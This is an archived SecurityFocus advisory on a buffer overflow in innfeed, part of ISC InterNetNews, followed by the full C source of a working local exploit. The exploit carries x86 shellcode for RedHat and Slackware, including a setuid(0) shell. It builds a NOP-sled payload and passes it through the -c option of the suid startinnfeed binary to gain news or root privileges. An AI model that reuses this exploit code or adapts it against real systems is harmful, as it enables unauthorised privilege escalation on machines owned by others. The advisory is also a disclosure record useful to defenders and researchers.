source: http://www.securityfocus.com/bid/2620/info

The innfeed utility, part of ISC InterNetNews, has an exploitable buffer overflow in its command-line parser. Specifically, innfeed will overflow if an overly long -c option is passed to it.

A local attacker in the news group could use this overflow to execute arbitary code with an effective userid of news, which could constitute an elevation in privileges, and the ability to alter news-owned binaries that could be run by root.

Exploits are available against x86 Linux builds of innfeed. 

/*
  x-innfeed.c

  Buffer overflow in innfeed being called from startinnfeed renders
uid(news) gid(news), startinnfeed is suid root so I have to also check
if I can manage to get root out of this ....

  Enrique A. Sanchez Montellano
  (@defcom.com ... Yes is only @defcom.com)
*/

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define OFFSET  0
#define ALIGN   0
#define BUFFER  470

// MANDRAKE, REDHAT, etc....

#ifdef REDHAT
/* optimized shellcode ;) (got rid of 2 bytes from aleph1's) */
//static char shellcode[]=
//"\xeb\x15\x5b\x89\x5b\x08\x31\xc0\x88\x43\x07\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/sh";
char shellcode[] = "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" /*setuid(0) */
             "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c"
             "\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb"
             "\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh";

#endif

#ifdef SLACKWARE
/* optimized shellcode for slackware 7.0 (non setuid(getuid()) shell) */
static char shellcode[]=
"\xeb\x15\x5b\x89\x5b\x0b\x31\xc0\x88\x43\x0a\x89\x43\x0f\xb0\x0b\x8d\x4b\x0b\x31\xd2\xcd\x80\xe8\xe6\xff\xff\xff/bin/bash1";
#endif

unsigned long get_sp(void) {
  __asm__("movl %esp, %eax");
}

void usage(char *name) {
  printf("Usage: %s <offset> <align> <buffer>\n", name);
  printf("Defcom Labs @ Spain ...\n");
  printf("Enrique A. Sanchez Montellano (@defcom.com)\n");
  exit(0);
}

int main(int argc, char **argv) {
  char *code;
  int offset = OFFSET;
  int align = ALIGN;
  int buffer = BUFFER;
  unsigned long addr;
  int i;

  if(argc > 1) offset = atoi(argv[1]);
  if(argc > 2) align = atoi(argv[2]);
  if(argc > 3) buffer = atoi(argv[3]);

  code = (char *)malloc(buffer);

  printf("[ + ] innfeed buffer overflow (passed to startinnfeed) [ + ]\n");
  printf("------------------------------------------------------------\n");
  printf("[ + ] Found by: \n\n[ + ] Alex Hernandez
(alex.hernandez@defcom.com) \n[ + ] Enrique Sanchez (@defcom.com ... Yes
is just @defcom.com)\n");
  printf("[ + ] Defcom Labs @ Spain ....\n");
  printf("[ + ] Coded by Enrique A. Sanchez Montellano (El Nahual)\n\n");

  addr = get_sp() - offset;

  printf("[ + ] Using address 0x%x\n", addr);

  for(i = 0; i <= buffer; i += 4) {
   *(long *)&code[i] = 0x90909090;
  }

  *(long *)&code[buffer - 4] = addr;
  *(long *)&code[buffer - 8] = addr;

  memcpy(code + buffer - strlen(shellcode) -8 - align, shellcode,
strlen(shellcode));

  printf("[ + ] Starting exploitation ... \n\n");

  // REDHAT, MANDRAKE ...
#ifdef REDHAT
  execl("/usr/bin/startinnfeed", "/usr/bin/startinnfeed", "-c", code, NULL);
#endif

  // SLACKWARE
#ifdef SLACKWARE
  execl("/usr/lib/news/bin/startinnfeed",
"/usr/lib/news/bin/startinnfeed", "-c", code, NULL);
#endif

  return 0;
}
